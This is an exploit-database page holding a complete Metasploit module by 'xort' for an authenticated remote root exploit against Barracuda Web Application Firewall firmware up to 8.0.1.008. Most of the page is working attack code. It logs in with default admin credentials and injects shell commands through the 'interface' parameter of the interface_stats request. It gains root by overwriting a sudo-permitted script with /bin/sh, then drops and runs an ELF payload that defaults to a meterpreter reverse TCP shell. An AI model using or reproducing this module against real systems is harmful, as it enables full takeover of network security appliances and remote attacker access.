Barracuda Web Application Firewall 8.0.1.008 - Authenticated Remote Root Exploit (Metasploit)

2016-07-29T00:00:00
ID 1337DAY-ID-25450
Type zdt
Reporter xort
Modified 2016-07-29T00:00:00

Description

Exploit for linux platform in category remote exploits

                                        
                                            # Exploit Title: Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Remote Root Exploit
# Date: 07/28/16
# Exploit Author: xort [email protected]
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/webapplicationfirewall
# Version: Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
# Tested on: Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
# CVE : None.
 
# vuln: interface_stats
 
require 'msf/core'
require 'date'
require "base64"
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Root Exploit',
            'Description'    => %q{
                    This module exploits a remote command execution vulnerability in the Barracuda Web
                    Application Firweall firmware versions <= v8.0.1.008 (2016-03-22) by exploiting a
                    vulnerability in the web administration interface. By sending a specially crafted
                    request it's possible to inject system commands while escalating to root do to relaxed 
                    sudo configuration on the local machine.
            },  
            'Author'         => [ 'xort' ], # disclosure and exploit module
            'References'     => [ [ 'none', 'none'] ],
            'Platform'       => [ 'linux'],
            'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
            'Targets' => [['Web Application Firewall <= v8.0.1.008 (2016-03-22)', {}]],
            'DefaultTarget'  => 0 ))
 
            register_options(
                [
                    OptString.new('PASSWORD', [ false, 'Password', "admin" ]),  
                        OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]), 
                    OptString.new('CMD', [ false, 'Command to execute', "" ]),  
                    Opt::RPORT(8000),
                ], self.class)
    end
 
    def do_login(username, password_clear, et)
                vprint_status( "Logging into machine with credentials...\n" )
 
                # vars
                timeout = 1550;
                enc_key = Rex::Text.rand_text_hex(32)
 
                # send request
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-mod/index.cgi",
                      'headers' =>
                        {
                                'Accept' => "application/json, text/javascript, */*; q=0.01",
                                'Content-Type' => "application/x-www-form-urlencoded",
                                'X-Requested-With' => "XMLHttpRequest"
                        },
                      'vars_post' =>
                        { 
 
                          'enc_key' => enc_key,
                          'et' => et,
                          'user' => "admin", # username,
                          'password' => "admin", # password_clear,
                          'enctype' => "none",
                          'password_entry' => "",
                          'login_page' => "1",
                          'login_state' => "out",
                          'real_user' => "",
                          'locale' => "en_US",
                          'form' => "f",
                          'Submit' => "Sign in",
                        }
                }, timeout)
 
                # get rid of first yank
                password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
                et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
 
                return password, et
        end
 
    def run_command(username, password, et, cmd)
 
                # file to replace
                sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
 
        sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
        sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
 
        vprint_status( "Running Command...\n" )
 
                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
 
                # decoder stubs - tells 'base64' command to decode and dump data to temp file
                b64decode1 = "echo \""
                b64decode2 = "\" | base64 -d >" + b64dumpfile
 
                # base64 - encode with base64 so we can send special chars and multiple lines
        cmd = Base64.strict_encode64(cmd) 
 
                # Create injection string. 
                #      a) package the  base64 decoder with encoded bytes
                #      b) attach a chmod +x request to make the script created (b64dumpfile) executable
                #      c) execute decoded base64 dumpfile
 
                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
 
#                injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile 
     
        vprint_status( "sending..." )
            res = send_request_cgi({
               'method' => 'GET',
               'uri'    => "/cgi-mod/index.cgi",
           'headers' => 
            {
                'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
            },
            'vars_get' => {
            'ajax_action' => 'interface_stats',
                    'user' => username,
                'password' => password, 
                    'et' => et,
            'locale' => 'en_US',
            'realm' => '',
                    'auth_type' => 'Local',
                    'primary_tab' => 'BASIC',
                    'secondary_type' => 'status',
 
                    'interface' => 'eth0' + '| ' + injection_string + ' |echo ' # vuln
                }
            })  
 
    end
 
    def exploit
 
        # params
        timeout = 1550;
 
                real_user = "";
        et = Time.now.to_i  
        user = datastore['USERNAME']
        password = datastore['PASSWORD']
 
        # do login and get password hash
        password_hash, et = do_login(user, password, et)
        vprint_status("got password hash: #{password_hash}\n")
        sleep(2)
     
                #if no 'CMD' string - add code for root shell
        if not datastore['CMD'].nil? and not datastore['CMD'].empty?
 
            cmd = datastore['CMD']  
             
            # Encode cmd payload    
            encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') 
 
            # kill stale calls to bdump from previous exploit calls for re-use
            run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
        else   
            # Encode payload to ELF file for deployment 
            elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') 
 
            # kill stale calls to bdump from previous exploit calls for re-use
            run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
         
            handler
        end
    end
end

#  0day.today [2018-01-05]  #